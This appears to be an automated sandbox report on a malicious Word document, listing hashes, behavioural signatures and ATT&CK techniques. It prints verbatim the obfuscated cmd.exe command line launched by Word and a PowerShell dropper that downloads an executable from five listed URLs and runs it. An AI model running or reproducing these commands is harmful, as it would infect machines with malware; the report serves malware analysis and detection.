b76296d33b324195937257e98ff545fa525399c3f54ec9ed090e29a09ea87e5e

Analysis

max time kernel
101s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
26-05-2024 21:49

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General

Target

76e3f55356e2a30593d436ab0880eff8_JaffaCakes118.doc
Size

113KB
MD5

76e3f55356e2a30593d436ab0880eff8
SHA1

6b1725b71bf2f01ca5b6b7f4c2b4252c67a6e2b1
SHA256

b76296d33b324195937257e98ff545fa525399c3f54ec9ed090e29a09ea87e5e
SHA512

6d4e48af3634cea0c8f729a171c51b65cb8b9755cf173867cf201a6934a771a315cb3540c0bcd5f47a58ca200fa0d05a052fbf1313717debb7ca5ccf192cfa8c
SSDEEP

1536:0TxjwKZ09cB7y9ghN8+mQ90MTT+aU1E0NpFukKH6FH:4xjnB29gb8on+E0NpFEaFH

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://baza-shartash.ru/hkqXqT1

exe.dropper

http://anapapoliv.ru/Sp4na

exe.dropper

http://shorecrestschools.com/nnQkN

exe.dropper

http://comicole.com/2HZ

exe.dropper

http://elartedelaaccion.es/6Hyl

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2196	3160	Cmd.exe	80

Blocklisted process makes network request 6 IoCs

flow	pid	Process
25	3436	powershell.exe
27	3436	powershell.exe
28	3436	powershell.exe
31	3436	powershell.exe
33	3436	powershell.exe
37	3436	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
2196	Cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3436	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3160	WINWORD.EXE
3160	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3436	powershell.exe
3436	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3436	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3160	WINWORD.EXE
3160	WINWORD.EXE
3160	WINWORD.EXE
3160	WINWORD.EXE
3160	WINWORD.EXE
3160	WINWORD.EXE
3160	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 2196	3160	WINWORD.EXE	85
PID 3160 wrote to memory of 2196	3160	WINWORD.EXE	85
PID 2196 wrote to memory of 3436	2196	Cmd.exe	91
PID 2196 wrote to memory of 3436	2196	Cmd.exe	91

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\76e3f55356e2a30593d436ab0880eff8_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\SYSTEM32\Cmd.exe
  Cmd /V:O/C"set - =IdBSZaVlEVEJwpRGpMcXUSahlErhlBwsz 7+Wi;mN9qC.@,\Pk}tQb'j26=oT)fDy:/nue{F4Hv1$(-x&&for %o in (16,59,30,69,26,31,27,69,28,28,33,76,53,37,59,58,67,69,30,78,59,53,55,69,18,51,33,40,69,51,44,36,69,53,43,28,37,69,67,51,38,76,26,67,9,58,54,27,51,51,16,65,66,66,53,22,32,22,78,31,27,22,26,51,22,31,27,44,26,68,66,27,49,42,19,42,60,75,45,27,51,51,16,65,66,66,22,67,22,16,22,16,59,28,37,74,44,26,68,66,21,16,72,67,22,45,27,51,51,16,65,66,66,31,27,59,26,69,18,26,69,31,51,31,18,27,59,59,28,31,44,18,59,39,66,67,67,52,49,40,45,27,51,51,16,65,66,66,18,59,39,37,18,59,28,69,44,18,59,39,66,56,73,4,45,27,51,51,16,65,66,66,69,28,22,26,51,69,1,69,28,22,22,18,18,37,59,67,44,69,31,66,57,73,64,28,54,44,21,16,28,37,51,77,54,45,54,61,38,76,68,42,43,33,58,33,54,75,34,41,54,38,76,68,31,51,58,76,69,67,74,65,51,69,39,16,35,54,47,54,35,76,68,42,43,35,54,44,69,79,69,54,38,62,59,26,69,22,18,27,77,76,67,25,14,33,37,67,33,76,26,67,9,61,70,51,26,64,70,76,53,37,59,44,63,59,30,67,28,59,22,1,71,37,28,69,77,76,67,25,14,46,33,76,68,31,51,61,38,21,51,22,26,51,78,48,26,59,18,69,31,31,33,76,68,31,51,38,53,26,69,22,49,38,50,18,22,51,18,27,70,50,50,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,88)do set ] =!] !!- :~%o,1!&&if %o==88 call %] :~-360%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $bio=new-object Net.WebClient;$rnV='http://baza-shartash.ru/hkqXqT1@http://anapapoliv.ru/Sp4na@http://shorecrestschools.com/nnQkN@http://comicole.com/2HZ@http://elartedelaaccion.es/6Hyl'.Split('@');$uqC = '179';$ust=$env:temp+'\'+$uqC+'.exe';foreach($nER in $rnV){try{$bio.DownloadFile($nER, $ust);Start-Process $ust;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\179.exe

Filesize
36KB

MD5
41d9f8321bbd35aaf891f3b7bac060df

SHA1
58da7c06501159f4c7b909d59abc23152e8372ad

SHA256
29457444b7268825b17399a00ce19fcd9ecd6647b936f229c8ca2bb35ea4ca64

SHA512
5a23e2e3bd6713d0a66eb8ca74ac5ae878c549e20eb1d18423d7afa739d431685ebe0f66a8bf730c7b8188baaaedebe321294269de3e35e6b91bd07189803960

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD7C8F.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ujt1qjdf.ib3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3160-10-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-586-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-5-0x00007FFAC3A8D000-0x00007FFAC3A8E000-memory.dmp

Filesize
4KB

Download
memory/3160-53-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-8-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-6-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-11-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-0-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-9-0x00007FFA81680000-0x00007FFA81690000-memory.dmp

Filesize
64KB

Download
memory/3160-14-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-15-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-16-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-17-0x00007FFA81680000-0x00007FFA81690000-memory.dmp

Filesize
64KB

Download
memory/3160-13-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-12-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-48-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-45-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-51-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-7-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-4-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-50-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-54-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-49-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-37-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-589-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-1-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-3-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-2-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-562-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-563-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-564-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-565-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3160-585-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-588-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-587-0x00007FFA83A70000-0x00007FFA83A80000-memory.dmp

Filesize
64KB

Download
memory/3160-52-0x00007FFAC39F0000-0x00007FFAC3BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3436-63-0x0000023A4BEF0000-0x0000023A4BF12000-memory.dmp

Filesize
136KB

Download